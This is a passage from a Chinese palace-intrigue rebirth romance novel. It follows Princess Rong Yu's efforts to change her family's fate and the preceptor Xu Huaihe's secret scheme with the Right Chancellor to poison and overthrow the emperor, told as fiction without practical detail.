“有。”许怀鹤自然应允,在宫灯的照耀下,他的玉面清冷,目光近乎悲悯,带着淡淡的神性,“银钱就不必了。” 许怀鹤甚至比大太监更早知道小太监差点在怀柔宫里磕死过去的事,也料到了大太监会向自己讨膏药,送上门来拉拢人心的机会,他当然不会拒绝。 大太监为此看呆了一瞬,又连忙回神,跟在许怀鹤的身后一路去了观星楼,从许怀鹤的手中接过装有膏药的木匣,自然又是千恩万谢,满怀感激地走了,去找小徒弟。 另一侧,许怀鹤安插在永宁公主身边的暗桩用冷水打湿帕子,轻柔地将小太监脸上的血污擦去,小宫女的声音温柔,却带着点点冷意和痛恨,低声道:“皇贵妃和永宁公主太狠毒了,她们这是无理由地迁怒,看你我命如草芥,才肆意践踏。” 小太监的眼皮抖了抖,他身体沉重,头晕眼花,疼痛也激发了他内心的恨,但又无比悲凉。 他动了动干涩的唇,最后什么也没说,只是叹了一声。他们又能做什么呢?那是高高在上的贵人,是他们的主子,他们难道还有能力反抗什么吗,能为自己讨个公道吗? 似乎知道小太监在想什么,小宫女接着道:“我们人微言轻,能做的也有限,但只要我们抓住机会,总能报心头恨。” 小宫女顿了顿:“你若实在不愿意,胆小怕事,想做一辈子缩头乌龟,就当我说了胡话吧。” 她刚刚收了帕子,大太监就找来了,小宫女立刻惶恐地站起来,向大太监问了安,找了个借口离开,继续回永宁公主身边伺候。 大太监看她一眼,带着小太监走了,小太监怀里揣着膏药,心里却不断想着小宫女刚才说的话,一遍又一遍洗刷着他的脑海,又想起小宫女那双轻柔的手,还有关怀的神色,心跳也快了起来。 怀柔宫如今死气沉沉,永宁公主还在发脾气,皇贵妃也不能接受丢了孩子的事实,满地碎片残渣,宫女们个个当鹌鹑,大气都不敢出,人心浮动,哪里有空管她一个小小的宫女的去向。 皇贵妃歪在贵妃榻上,太医已经给她开了药方,宫女们又替她洗浴,换了衣服,劝着哄着让她喝药,皇贵妃一边喝着苦到心里的中药,一边突然掉泪来。 一碗药喝完,皇贵妃闭了闭眼,再睁眼时,眼里多了比平时的算计还要更狠的深意,开口对着心腹宫女道:“陛下刚才传了国师进宫,是不是?你带着厚礼去观星楼,若是国师大人不在,就等明日再出宫去国师府上,向国师求丹药。” 她咬牙:“要那种让女子更容易受孕的丹药。” 宫里的妃嫔们要想争宠,除了美色,更重要的还是肚子争气,最好能生出个皇子来,这才能确保以后的荣华富贵。 不少妃嫔都会想方设法向太医们讨要一些能够让自己更容易受孕怀胎的药方,大家都心照不宣,这也不是什么秘密,只是向太医院以外的人要方子要丹药,这还是头一回,说出去也不太好听,但她才滑了胎,正是伤心的时候,皇上就算知道了,想必也不会怪罪她。 皇贵妃掐着指甲,一想到许怀鹤那张清冷英俊又年轻的面庞,再想想自己的诉求,心里就微妙地涌起一股尴尬羞涩,但想要做皇后,想要生太子的贪婪还是更胜一筹,她催促道:“快去。” 心腹宫女领命去了,也不出所料地扑了个空,许怀鹤赶在宫门落锁前一刻出了宫,骑马回了国师府。 长街落雪,新春的欢腾还没有完全褪去,街边大红灯笼高高挂着,更添几分喜意,比起前街的喧闹,贵人们的居所要安静许多,普通百姓也不敢多逗留,生怕不长眼冲撞了哪位贵人,丢了小命。 许怀鹤在国师府门前停下,但并没有立刻下马进府,而是绕着国师府的边缘,来到后院的高墙,看了一眼不过两臂之隔的公主府,突然有了几分兴致,运起轻功,衣袍翻飞,轻轻松松地就站到了公主府的墙头上。 他的动作很轻,加上公主府的侍卫们懈怠,觉得没人敢在天子脚下,冒犯身份尊贵的昭华公主殿下,正在院子里喝酒划拳,醉醺醺的,并没有注意到墙上何时多了一个人。 许怀鹤冷冷看着,他记得这群侍卫是老皇帝在公主殿下及笄后,搬进公主府时送的,还没有自己安插在殿下身边的眼线有用,必要时刻连青竹都比不上。 他的目光越过后院,向前看着更加奢侈,散发着温暖烛光的中心院落,知道那就是公主殿下所在的卧房,再往右走,隔着花园便是他之前为公主殿下授课的书房,公主府的布局,他早已烂熟于心。 此刻的卧房里,容钰呆在坐在拔步床边,春桃和青竹都心疼极了,但又不知道该如何安慰,只能一人殷勤地帮容钰敷面,一人为容钰推拿按摩。 就连桂嬷嬷都听说了公主府门口发生的事,脚步匆匆地从自己的院落赶过来,一把将容钰搂进怀里:“殿下莫气,定是陈贵妃那妖妇又说了什么歪理,连同永宁公主绑住了陛下,陛下一时迷了心窍,才不让您入宫看望。” 春桃愤愤地听着,也没 提醒嬷嬷陈贵妃现在已经是皇贵妃了,听着桂嬷嬷一开口就将皇贵妃和永宁公主骂了个狗血淋头,心里畅快了几分。 容易有些哭笑不得,她拉住桂嬷嬷的臂弯,像小时候那样将头轻轻靠在嬷嬷的肩膀上:“没事的嬷嬷,我不生气,只是有些心寒。” “这事也不全怪皇贵妃和永宁,是父皇他不想我入宫探望。”容钰叹了口气,她原本不愿在嬷嬷面前说这些,免得让嬷嬷担忧难过,但事到如今,她还是决心说清楚,让嬷嬷也看清这一切。 容钰忍着刺痛,亲口说出了自己曾经都不愿面对的事实:“父皇他,其实并不喜爱我,她更爱皇贵妃和永宁,往日的温情兴许有几分真心在,但……只是顾忌着舅舅,顾忌着镇国公府。” 这也是她经过这么久的思考想出的结果,也是她能够想到的,最接近真相的答案,她确实有些愚笨,但并非真的傻的透顶,多琢磨琢磨也能想通,只是她上一世一直被蒙蔽双眼,太过糊涂。 父皇登基后不久,外祖父激流勇退,突然辞官,不再做左相,就是为了防止镇国公府权势过甚,引起父皇猜忌,这是外祖父亲口告诉她的,她那时年幼不懂,如今想起来却满是讽刺荒凉。 父皇当年能登上皇位,还是镇国公府鼎力相助,越是想的清楚,容钰就越是寒心,她苦涩地笑了笑,拉住桂嬷嬷颤抖的手,对上嬷嬷不敢置信,悲痛的双眸,忍不住还是落下一滴清泪,砸在嬷嬷粗糙的手背上,引起一阵颤抖。 这滴泪落下,容钰反而轻松了许多,就像以往的牵挂,对温情的期盼全都散去了,心底一片清明。 “嬷嬷别担心,”容钰轻声宽慰,“只要镇国公府还在一天,我也还是昭华公主,咱们的日子就照常过,父皇喜不喜爱我,并不重要,我会自己寻一位好驸马,有他为我遮风挡雨,鞍前马后。” “对,”桂嬷嬷早就哭得满脸濡湿,“殿下就是最尊贵的公主,管他如何,谁也不能越过您!咱们有镇国公府撑腰,有未来的驸马爷撑腰,定不会让您受委屈的。” 卧房内的絮语传不出门扉,大雪掩盖了痕迹,脚下的瓦片有些松动,许怀鹤回神,轻轻一跃从高墙上跳下来,重新上马绕回了国师府门前,在门口侍卫和小道童的躬身迎接下进了门。 第48章 第48章要是许怀鹤在就好了。…… 绕过假山空池,书房亮着灯,许怀鹤的脚步微不可察地顿了顿,随即推开门,随手将大氅脱下来丢给旁边的小道头,拂去了肩头和发丝上的雪花,看向了坐在书桌边的男人。 右相杜科沉沉地看着他,语气带了一丝责备,但更多的是脱离掌控的无奈:“为什么突然动手?为什么突然选在这个时候,却又不干净利落地做到底?” 一连被问了三个问题,许怀鹤毫不在意地往前走,同样在书桌边坐了下来,和杜科相对而坐,碰了碰桌上的冷茶,不慌不忙地让小道童烧一壶新的茶水来,这才缓缓开口:“突然?那你们想拖到什么时候?” 年近五十的杜科鬓边已经有了花白的头发,但眼中依旧野心勃勃,他看着面前年轻的少年,对方已经具备了帝王的威势,只是淡淡的反问,就让他内心微微一颤。 要知道如今的圣上可没有这样的威严,虽然身居高位,但并不能完全服众,全靠镇国公的军队在背后撑着,而陛下却怀疑忌惮镇国公,这对他来说,对支持许怀鹤的人来说都是好事,但对镇国公府来说,那就是包着蜜糖的砒霜。 他和当年的左相顾培安斗了那么多年,最后顾培安风风光光地扶持女婿坐稳皇位,但又不得不激流勇退,辞官回家,女儿病死在深宫之中,如今镇国公府也不得帝王心,荣华富贵还能维持多久呢?不过表面的繁华罢了。 所以你看,塞翁失马,焉知非福,有些人看似赢了,实则输的彻底。 “不敢。”杜科拱手,摆出了恭敬的姿态,“一切由殿下做主。” 他连对许怀鹤的称呼都变了,虽然他们一直都很清楚许怀鹤就是当年太子的血脉遗孤,是那个没有被找到,没有查出下落的孩子,是如今最有可能登上皇位的人,但在这之前,他们各有算计,并不敢明目张胆地称呼“殿下”。 当年宫变太复杂,是非对错已经不重要,成王败寇也没什么好说的。既然要推新帝上位,只要成功,那他们就是功臣,是殿下的左膀右臂,一步登天也不是不可能。 但他们却低估了许怀鹤的心性,也低估了许怀鹤的手段,是啊,毕竟是先朝太子的孩子,怎么可能泯然众人,任由他们拿捏呢? 如今杜科也看清了形势,决定做第一个向未来新帝投诚,表明臣服真心的人,他,一定会成为真正的赢家。 杜科继续道:“殿下出手果断,杜某自愧不如,一招就断了皇贵妃和皇帝的念想,将那孩子扼杀在娘胎里,绝不会阻碍殿下未来登基的道路。” 他有意捧高讨好许怀鹤,但许怀鹤却并不应他的话。 “和我可没什么关系,”许怀鹤抬起茶盏,刮了刮茶碗边沿,“那是暗桩自己动的手,她对皇贵妃和永宁公主恨之入骨了,哪怕就算是死,拼上她自己的命,也要为她姐姐报仇。” 许怀鹤指尖微顿,意有所指:“仇恨的力量,远比你想的更强大。” 杜科笑了笑,说到底,还是许怀鹤算计人心的本领更高,虽然皇贵妃滑胎这件事不是他指使的,但他也料到了那名小宫女会动手,不是么?他只是在幕后看着,挪动着棋子,坐收渔翁之利。 “新年之时,正是好戏开场的好时机,右相难道不觉得吗?”许怀鹤轻笑着回答了杜科的第二个问题,“皮影戏只是造势,在老皇帝的心里埋下一根刺,至于下毒,是他急火攻心,诱发了体内埋藏已久的毒素,才晕了过去,杯口上的毒是后来才抹上去的。” 许怀鹤放下茶盏:“所以,他是查不出真相的,只会查到这毒和宫宴上刺客用的毒是同一种,都来自漠北。” 对上许怀鹤狐狸一样微微眯起,饱含嘲讽和冷冽的眼睛,杜科突然打了个哆嗦,在官场经营多年的勾心斗角,让他立刻意识到了许怀鹤的打算—— 许怀鹤要让皇帝对漠北的怀疑和厌恶更深,最好主动起兵攻打漠北,而只要出兵漠北,镇国公必定会带军队去边关赴战,没了镇国公在京城坐镇,想要杀皇帝,夺皇位,难道不是轻而易举? 第三个问题也不必许怀鹤再亲口回答他,杜科已经明白许怀鹤这哪里是没能干脆利落地做到底,而是一步一步铺垫着,为皇帝选好了必死的结局。 杜科稳了稳心神,轻声问:“那殿下准备什么时候……一击即中?” “春猎。”许怀鹤已经耗尽了耐心,“右相难道忘了,年年春猎时,臣服于大夏的小国也会带着进贡前来参加?” 杜科慌然大悟,心里不断猜测着许怀鹤之后的打算,但也看出来许怀鹤身上散发出来的无奈,非常识趣地起身告辞,悄悄从国师府的后门溜了出去,趁着夜色掩盖,坐上简朴的马车,回到了自己的府中。 天色已晚,妻女和姨娘们还聚在一起打着叶子牌,享受着新春佳节的快活,杜科从院子里进来,看着自己长相秀丽的女儿用帕子掩唇轻笑,心里忽然又升起了另外一个念头。 若是自己的女儿能够嫁给许怀鹤为妻,那许怀鹤登基以后,岂不就是板上钉钉的皇后? 但 紧接着杜科又一凛,他猛地想到了镇国公府,有前车之鉴在,杜科再贪图女儿能为自己带来的荣华富贵,也不得不暂时放下心思。 若是许怀鹤对自己的女儿有意,那还好说,女儿指不定能像如今的皇贵妃那样宠冠六宫,不断补贴娘家,让娘家人在京中几乎横着走,但若是许怀鹤对自己的女儿无意,甚至不喜,那下场就如同先皇后一样,凄惨地病死在宫中。 杜科并不知道的是,今夜并不只有他一人想着先皇后,昭华公主殿下的府邸里,桂嬷嬷终于擦干了眼泪,但心里还是不断思念着先皇后的音容笑貌,越想就越心疼,越心寒,越心碎。 送走桂嬷嬷,容钰的心情也依旧沉甸甸的,她拆了发髻,平躺在被褥上,盯着床帐上镶金线的山茶花绣纹,视线逐渐有些模糊,忍不住偏头将柔软的侧脸埋进锦被里。 要是许怀鹤在就好了。 容钰突然出神地想,虽然许怀鹤喜欢欺负她,做出一些浪荡的事来,但许怀鹤总是在她陷入危险的时候保护她,几次救她性命,又是真心爱她。 要是这时许怀鹤在身边,自己就能保住许怀鹤劲瘦的腰,将脸埋进去许怀鹤温暖坚实的肩膀,闻着许怀鹤身上的沉檀香气,自己一定会安心许多。 荣誉甚至想,其实应了许怀鹤的话,让他和自己一起回府,留他在公主府里过夜,也没什么大不了的,他们两厢情愿,又没碍着旁人。 这么胡思乱想之间,容钰沉沉睡去,守在外间的春桃和青竹听着公主殿下平稳的呼吸声,终于松了一口气。 春桃拨了拨油灯,小声同青竹道:“青竹,我心里空的慌,我一直以为陛下是最疼爱公主殿下的,前不久我还暗笑自己想的太多……殿下说的对,如今只有镇国公府和未来驸马才能靠得住。” 她有一些迷茫地看着灯花,将下巴垫在胳膊上:“你说,国师大人会是一个好驸马,一个好夫婿吗?他会全心全意地只爱咱们殿下一个人,愿意伺候殿下,为殿下挣功名,护殿下一世平安吗?” 青竹想了想国师大人的手段和性子,肯定道:“会的。” 国师大人或许不是一个好人,他手上沾了很多人的血和命,走的路也是最荆棘,最坎坷的那一条,未来还会背负更大的,足以让整个大夏颠覆的命运,心机深沉阴暗,但国师大人对公主殿下的在意,对公主殿下的爱远超其他一切。 国师大人只会爱公主殿下一个人,那是他的明月,那是他视若珍宝的心上人,为了不吓到公主殿下,国师大人不惜一直在殿下面前伪装自己,暗中帮公主报复那些敢欺负殿下的人。 所以国师大人会是一个好驸马,一个好夫婿。 有了青竹的肯定,春桃更加安心,她笑着打了个哈欠:“那我们去休息吧,今晚该小红她们守夜了。” 翌日早晨,荣誉醒来后用清茶漱了口,她一边让小丫鬟给自己换衣服,一边忍不住眼巴巴地看着门口,想知道春桃什么时候带消息回来。 用完早膳后,春桃在期盼中风风火火地带着一大堆消息进了门,好险忘记了向荣誉行礼,一开口就让荣誉惊掉了手里的酥点:“皇贵妃娘娘的皇胎没了!” 容钰抖了抖睫毛,虽然经过上一世的经历,她知道皇贵妃这一胎没能平安生下来,在四五个月的时候就被宫里的其他妃嫔们联手算计滑胎,但绝不像这一世这么早! “是她自己没站稳摔没的,怨不得别人。”春桃嘴快地噼里啪啦说了,“但皇贵妃没站稳,是因为听到了陛下中毒晕倒的消息。” 荣誉刚拿在手里的酥点又一次掉在了地上,被雪团欢快地捡了便宜,容钰面色惊愕,原来身体抱恙只是托词,父皇是中毒了! “但陛下经过太医和国师大人的诊治,已经好了,还让刑部侍郎闻大人去查案,不过一个晚上就查出来了,真不愧是断案如神的闻大人。”春桃继续道,“据说这次的毒又和漠北有关,皇上发了火,吵着要出兵攻打漠北,被其他大臣们劝下来了。” 容钰心里一惊:“舅舅呢?” 第49章 第49章钰儿的心上人是何人? 容钰心里发慌,她紧紧攥着手指,不安地看向春桃。 自从她重生回来之后,一切的一切似乎都提前了,王雪莹的死,闻锐达升官,刘家落败,许怀鹤有了国师府,大夏和漠北交恶…… 如今就连舅舅也要提前奔赴上一世的命运,去边关战场和漠北开战么?不行,她不能让舅舅再去边关,她不能让上一世镇国公府的命运重蹈覆辙! 容钰急的就要站起来,立刻让人备车去镇国公府阻拦舅舅,却听到春桃回复道:“国公爷当然也劝了陛下,现在并不是和漠北开战的好时机。” 容钰松了口气,慢慢松开手指,有些愣愣地看着自己掌心里的红痕,又听到春桃继续开口:“国公爷的意思是,再等等,等到春猎,漠北不是也要派他们的王子来进贡么,到时候好好问一问他们几次三番对陛下不敬是什么意思,确定漠北有反心再开战,也算师出有名。” 对了,春猎。 雪团吃完了酥点,抖掉胡子上的残渣,灵活地跳上容钰的膝盖,舒舒服服地盘成一团,窝在柔软的裙面上,发出呼噜噜的声响。 容钰摸了摸它的脑袋,心里开始思索,上一世这年的春天,她还病着没能好全,不便去参加春猎,但也听说春猎上是漠北的大王子拔得头筹,居然猎到一只威猛的白虎,还当众扒了皮,得到了父皇大量的赏赐,夸赞他是漠北的勇士。 后一年的春猎,漠北再次派了耶律大王子和小王子过来参加,而那一年,小王子一看到她,就夸赞她是天上有,地上无,世间难得一见的仙女,还当众向父皇求娶她。 现在想来,那时父皇似乎就有些意动,但不知怎么还是拒绝了,大王子看她的目光也很令她害怕,像是被猎人盯上的必死无疑的猎物,似乎下一秒就要将她扒皮抽骨。 再后来,那年冬,她就被父皇送去漠北和亲,来接她的人是耶律小王子,小王子在路上几次三番想要非礼她,若不是桂嬷嬷拼命拦着,恐怕就要被他得手。 耶律小王子看她的目光黏腻又垂涎,还不断在她耳边说着,以后她也会是他的妻子,不光是大哥的女人,还是他们所有弟兄的女人,一路都是淫词乱语,污人耳朵。 想到这里,容钰不禁有些难受,她捂着胸口,耶律小王子的长相并不丑陋,但在她的记忆中却是无比恶心的面容,如狼如豺,野性又凶狠,还伴随着她最讨厌,最害怕的回忆,每想起一次都会心颤。 今年的春猎自己当然是要去的,春猎是家国大事,朝廷百官,及笄的贵女贵妇,还有年过十五的高门少年都有资格参加,春猎前还会祭拜天地,祈求风调雨顺,五谷丰登,多少也能沾点福气。 但今年一定得小心避开漠北的耶律大王子和小王子,千万不能和他们碰上面,容钰想了想,不如自己这次也学永宁,戴着面纱,不让他们看到自己的脸,或许就不会生出那么多事端? 说干就干,容钰招手叫来小丫鬟:“你去箱笼里挑几批柔软的料子,送到绣娘那去,让她们做些面纱出来,不用太精细,但一定要让别人看不清脸。” 小丫鬟连忙领命去了,容钰看她出门,又转过头来问春桃:“外头还有什么消息吗?” 春桃想了想,带了几分幸灾乐祸:“回殿下的话,还有的,今日孔大儒入宫,向陛下提了辞呈,说不愿再教导永宁公主,请陛下为永宁公主另寻良师。” 春桃咯咯咯地笑出了声:“永宁公主伤了脸之后,许久都不请孔大儒为她授课,孔大儒早就对她有所不满,如今又是她先违背了之前日日不懈怠的承诺,孔大儒不想再教导她,也是理所应当的事。” 现在外头指不定有许多人都在暗地里笑 话永宁公主,觉得她的才女之名是假,名不副实,不然孔大儒那样广收学徒,门下有许多天才的大师,又怎会不想要她这个学生呢? 肯定是永宁公主并没有多少真才实学,又或者是品行不端,才惹的孔大儒厌恶! 听到这个消息,容钰摸了摸雪团晃动的尾巴尖,心里并没有多高兴,她咬了咬唇,心想孔大儒骂人可厉害了,这一走,就没人骂永宁了。 “对了对了,还有一件事。”春桃思索了一下,压低声音,“殿下,那夜的戏班子确认是反贼了,陛下已经派了闻大人去查,但对外却不敢声张戏里的内容,只说戏班子演的是禁剧。” “闻大人现如今手握圣旨,如同陛下亲临,到处找线索抓人,据说有人看到戏班子那群人连夜走了水路,逃到江南去了,闻大人说不定也要外派去江南查案呢。” 又对上了! 容钰的心跳漏了一拍,她捏了捏指尖,心里轻轻打起鼓,上一世闻锐达升官成了刑部侍郎之后,也是南下去查案,最后死在了查案中途,他的棺椁本来是要运回家乡安葬的,结果在路上遇到意外,连全尸都没能留下。 不行,上一世的事有一些被避免了,有一些却依旧在更快地重演,再这么发展下去,舅舅迟早也要去边关赴战,大夏和漠北又会打起来。 容钰站起身,雪团从她的裙面上滑下去,四只脚爪落在地上,有些疑惑地抬头喵呜叫了一声。 容钰面色严肃,一双细眉微微拧着,美人的忧思更添几分怜弱的气质,她正要让青竹去备车,立刻就要去镇国公府,就看到外面有小丫鬟打了帘子进来,对她福了福身开口道:“殿下,镇国公府来了人,说是国公爷请您去府上玩。” 容钰眨了眨眼睛,纤长的睫毛浓而密,她立刻应了:“好,青竹,春桃,我们现在就去镇国公府。” 坐上马车,容钰的心绪还没能平复下来,她掀开车帘,忍不住偏头看了一眼公主府旁边的国师府。 国师府的规制比公主府要小上许多,装饰也随了许怀鹤的喜好,清雅简朴但又不失大气,有一种飘然欲仙的感觉,门口没有像其他府邸那样摆着两尊辟邪镇宅的石狮子,而是立了两只栩栩如生,脖颈高昂的仙鹤。 上一世,许怀鹤的国师府也落在她的公主府旁边,但她和许怀鹤没什么往来,许怀鹤经常入宫面圣,而自己多半时间都病在床上,蜗居在府里,偶尔才会出门看看风景,游玩一番,偶然碰见几回,也只是点头之交。 正想着,马车缓缓向前,容钰松开手指,车帘随之落下,阻挡了她的视线,也就正好错过从大门走出来的许怀鹤。 许怀鹤看了一眼公主府的马车离去的方向,已经从线人那里得知容钰要去镇国公府。 他知道昭华公主殿下和镇国公府的关系匪浅,前左相顾培安和镇国公也是真心疼爱公主殿下,这也是他一直没有对镇国公府动手的最大原因,而现在,他要先去给闻锐达使点绊子。 马车逐渐远去,不多时就到了镇国公府门口,容钰被春桃扶着下了马车,随着小厮进门,一路去了舅舅所在的书房。 舅舅的书房比起外祖父的书房要小许多,书房前的院子边还摆着刀枪等练武用具,容钰只看了一眼,便将视线从刀尖泛着的寒光上挪开,抬手敲了敲书房门,得到了舅舅的回复后,推门走了进去,却发现书房里还站着另外一人,是舅舅的嫡子,也是她的表哥,顾明之。 从今早知道昨日陛下中毒晕过去之后,却并没有让他入宫护驾起,镇国公就知道,陛下已经和他离了心。 他不是蠢人,知道这并不是什么好兆头,心事重重地从皇宫回来,终于是劝下了气急败坏想要和漠北开战的陛下,但心里的不安却越来越重,思虑之后,还是叫来了嫡子顾明之,又派人去公主府叫了外甥女容钰过来。 顾明之向容钰行了礼,内心叹了一句表妹的惊人之貌,真是看一次就让人更惊叹一分,天上的嫦娥也比不过她,但行为上还是规规矩矩地站在一旁,等着父亲开口。 镇国公有一些疲惫地抬手揉了揉眉头,他看着容钰,却不知道要怎么开口,难道要说陛下已经对镇国公府产生了怀疑提防,不再信任他,以后或许还会对镇国公府开刀动手? 一边是父皇,一边是外祖父和舅舅,镇国公不想让容钰为难,他叹了口气,决定还是不向容钰说这些,只提起另外一件事:“钰儿,你觉得明之如何?愿意让他做你的驸马吗?” 他话音落,书房内的两人都被惊得齐齐抬头看向他,容钰和顾明之都是一脸讶异,随即偏头对视了一眼,又快速别开脸。 镇国公看着两人的神情就知道没戏,他也不强求,继续道:“舅舅只是随口一提,钰儿若是不愿意也无妨,自然有更好的男子由你挑。” 他之前就动过让嫡子顾明之娶钰儿的想法,自家人知根知底,顾明之这孩子虽然看上去冷心冷肺了一些,但为人处事细腻有章法,且一心扑在读书上,考取功名在即,也不会有什么妾室。 娶妻之后,顾明之自然会全心全意对妻子好,更不敢欺负钰儿,只要顾明之敢对钰儿有一点不好,他就会亲自拿着长棍往顾明之身上招呼,半点不会手软,镇国公府永远都会是钰儿的家。 但今时不同往日,镇国公府的未来难测,能繁华多久也是未知,若是钰儿愿意嫁到府中来,他必定尽全力保护好钰儿,给钰儿最好的,若是钰儿不愿,他也会帮钰儿挑天底下最好的男子,给钰儿做驸马,做靠山。 容钰愣愣地抖了抖睫毛,突然想起上一世时,自己有几次来镇国公府,舅舅和舅母都有意无意都让她和顾明之多见面,甚至还特意将顾明之从书院叫回来。 她此刻才回味过来,脸上有些热,低声道:“舅舅……表哥自然是极好的,但钰儿已经有心上人了。” 听到容钰有心上人了,顾明之垂眸,心里说不清是失落还是松了口气,对于父亲的话,他倒没有多少不好意思,但他也很清楚,现在形势艰难,若自己真娶了表妹,反而会耽误表妹。 毫不夸张地说,镇国公府现在就是个火坑,舅舅疼爱表妹,必定不愿意让表妹往火坑里跳,自己也希望表妹能够寻个更好的,靠得住的驸马。 镇国公闻言顿了顿,问道:“钰儿的心上人是何人?” 第50章 第50章许怀鹤并非好人。 容钰带着一丝羞怯,她轻轻咬了咬唇:“是国师,许怀鹤。” 镇国公和顾明之同时愣了一下,这个答案很明显在他们的意料之外,但如果仔细想想,却又在情理之中。 如今谁人不知国师许怀鹤正得圣眷,又助力破获户部大案,才得了国师府,前途无量,是人人都想攀一攀关系的新贵,也的确只有他,才能配得上金尊玉贵的昭华公主殿下。 顾明之掩去心底淡淡的失落,心想这样就很好,表妹已经有了心上人,有了中意的驸马,许怀鹤是端方君子,许多人赞不绝口,眼下看未来也一片坦途,必定不会让表妹受委屈,自己也不便再多想。 镇国公收起淡淡的惊讶,他思索了一番,和顾明之所想差不多,觉得许怀鹤此人的确不错,清冷正直,有高人之姿,但随后又担心起了另外一件事。 许怀鹤身为国师,是修道之人,他对道教了解不多,也不知道修道之人是否可以娶妻生子,是不是要像和尚那样需得还俗才行? 镇国公这么想着,便也问了出来,他倒是和桂嬷嬷当初一样,都没有把许怀鹤不愿意成为驸马这个结果纳入考虑之中。 他和桂嬷嬷都觉得,容钰便是这天底下最尊贵,最美丽最善良的女子,没有哪个男的会不喜欢她,多的是人争着抢着想要成为她的驸马,将她视若珍宝,捧在手心好生呵护,这可是许多人求都求 不来的好事,许怀鹤怎么可能会不愿意呢? 听到舅舅的问话,容钰的脸顿时更红了。 其实她一开始也是这么想的,还以为许怀鹤真是不沾半点俗尘,不懂男女之爱的清修高人,但现如今她却知道许怀鹤私底下是如何的浪荡,如何喜欢欺负她,手段比话本子里的都要多。 “修道之人是可以娶妻的。”容钰低声回答,“许怀鹤也说了,等他再做出一些功绩,就去父皇面前求娶我。” “好,”镇国公欣慰地点了点头,“你们两情相悦,很好,要是许怀鹤以后胆敢欺负你,一定要告诉舅舅,舅舅帮你出气。” 容钰禁不住笑了起来,眉眼微弯,脸颊上浮出淡淡的酒窝,又甜又软,如同找到了归巢的倦鸟,神情放松:“好。” 顾明之微微别开眼,沉默地直直站着,像一座难言的山丘,冬雪覆盖了埋藏在泥土里的新芽,原本只等一个契机就开花,但却被他自己死死地扼住,往上面封了一层更厚的土。 “舅舅,”容钰踌躇了几息,还是坚定地开口,她看向舅舅已经并不年轻,有了沧桑皱纹的面容,心里又酸又涩,“要是大夏真的和漠北打起来了,你能不去应战吗?或者待在后方就好,不要亲自上战场,好吗?” 镇国公并不明白容钰为何会这样说,想了想,觉得是外甥女担心自己出事,他收下这份关心,但还是笑着说:“大丈夫理应建功立业,一马当先,我又是镇国大将军,哪有龟缩在军队后面的道理?自然是要亲自披甲挂帅上阵的。” “钰儿不必忧心,”镇国公温柔地劝她,眼里满是慈爱,“漠北不足为惧,他们不过小国,兵力也不强盛,边关的战士足以应对他们,将他们打退,舅舅领兵不会出事的。” 容钰的眼神中满是哀伤,她明白舅舅的自负,也明白舅舅为什么会这么想,上一世所有人都觉得漠北不过小国,不过弹丸之地,觉得漠北必输无疑,可是后来却发生了什么呢? 漠北居然打赢了!漠北连攻十几城,拿下了边关,逼得大夏求和,可她该怎么告诉舅舅,上一世舅舅就是意外死在边关之战中,镇国公府又被父皇怪罪,就此落败? 脑海中忽然有灵光闪过,容钰抖了抖睫毛,眼神从迷茫逐渐到坚定,她轻声道:“舅舅,昨夜我梦到了母后。” “母亲说,她放心不下我们,就来梦中看看。”容钰说着,声音逐渐哽咽,眼眶也红了,晶莹的泪光从她的眼角滑落,冰冰凉凉地落在衣襟上,“她说,她看到了……不好的未来,你领兵轻敌,落败身亡,镇国公府被父皇怪罪流放。” 看到容钰哭了,镇国公手足无措,连话都说不利索,只能眼睁睁地看着容钰一边说一边取了帕子擦掉眼角的泪,用一双哭红的眼睛,湿润地可怜巴巴地望着他。 镇国公并不相信这些怪力乱神,可是如果说这话的人是自己的外甥女,而外甥女梦到的人又是自己的亲妹妹,那就另当别论了,他心里矛盾极了,更不舍得容钰流泪,已经信了大半,连忙点头:“好,好,舅舅知道了,舅舅一定当心!” 顾明之在旁边默默看着,心里有些奇怪,在他的印象中,表妹并不是能说出这些话的人,什么托梦更是无稽之谈,但看着表妹笃定的神色,还有不似作伪的反应,他又不确定了,有些迷茫地陷入沉思之中。 书房门外突然传来小厮的敲门声,穿着深蓝布衣的小厮恭恭敬敬地走进来,对着镇国公一弯腰:“国公爷,夫人请您过去,说是右相府上的冰人来了。” 书房里的三人俱是一愣,容钰眨了眨眼,偏过头不让外人看到自己还没能消下去的泪眼,心里却并没有多意外。 冰人就是媒人,大夏风气开放,不光男方能让媒人去女方府上提亲,女方若是看中了哪位男子,也能派媒人来提,而这一世果不其然又和上一世一样,表哥最终还是会和右相家的嫡小姐定亲,只是不知道这一次,他们的婚期是否能如约举行? 这样的场合容钰不便在场,虽然她很想看一看媒人提亲到底是怎样的,但还是礼貌告退,回了公主府。 容钰离开书房后,顾明之跟在父亲的身后,也抬步往花厅走,心里的疑惑更重。 在此之前,他从没有想过大权在握的右相居然会选他做女婿,党争日益严重,右相所在的一派和镇国公府虽不算完全对立,但关系也没有多友好,若右相意图联姻,那也应该学王家,让清流一派的人掺一脚才对。 再者,虽然书院的老师们都夸自己的学问好,必能中第,但将来谁又说的清楚,万一他没能考中呢?右相就这么将宝压在他的身上,是不是有些不谨慎了?还是说,对方另有所图? 花厅的媒人见到他,自然是夸了又夸,什么丰神俊朗,学富五车,将镇国公和镇国公夫人夸的都有些飘飘然,当即交换了早就备好的庚帖,只等合婚,看看八字和生肖是否相合,就等定亲。 顾家和杜家即将喜结连理的事在京城并没有溅起多大的水花,只看到表面的人不过道一声恭喜,而嗅觉敏锐的人却闻出了几分危险的味道,只有真正知道内情的人才明白,这里面的算计有多深。 杜科站在窗前,背身看着树上的寒鸦抖落积雪,目光沉沉。经过一夜的思量,他已经决定进一步向未来的帝王许怀鹤投诚,将自己的女儿嫁去镇国公府。 他很清楚,如今的镇国公府就是一颗内里早已腐烂不堪,即将倒下的参天大树,外人只看到表面的枝繁叶茂,却不知即将大难临头。 他主动置身危险之中,就是为了让许怀鹤看到他的诚意。当今陛下的猜忌如此明显,他就不信镇国公看不清,不心寒,他要趁此机会劝镇国公也投靠许怀鹤,扶持新帝上位,这样新帝不费一兵一卒,便能顺利登基,而他,就会是最大的功臣。 在这片权力的漩涡中,每个人都有自己的算计,有些人被深深卷入,无法抽身,而有人懵懵懂懂,游走在即将坠落的边缘。 另一边的刑部,闻锐达看着面前的宗卷,难得有些焦头烂额,他伸出手指轻轻捏着眉心,脑海里不断一遍一遍思索着案件的细节,却依旧没有头绪。 他总觉得陛下这次中毒的事,并不是漠北又一次动手那么简单,可查到的证据有限,条条都指向漠北,就如同之前的户部大案一样,证据明晰,可他依旧直觉不对。 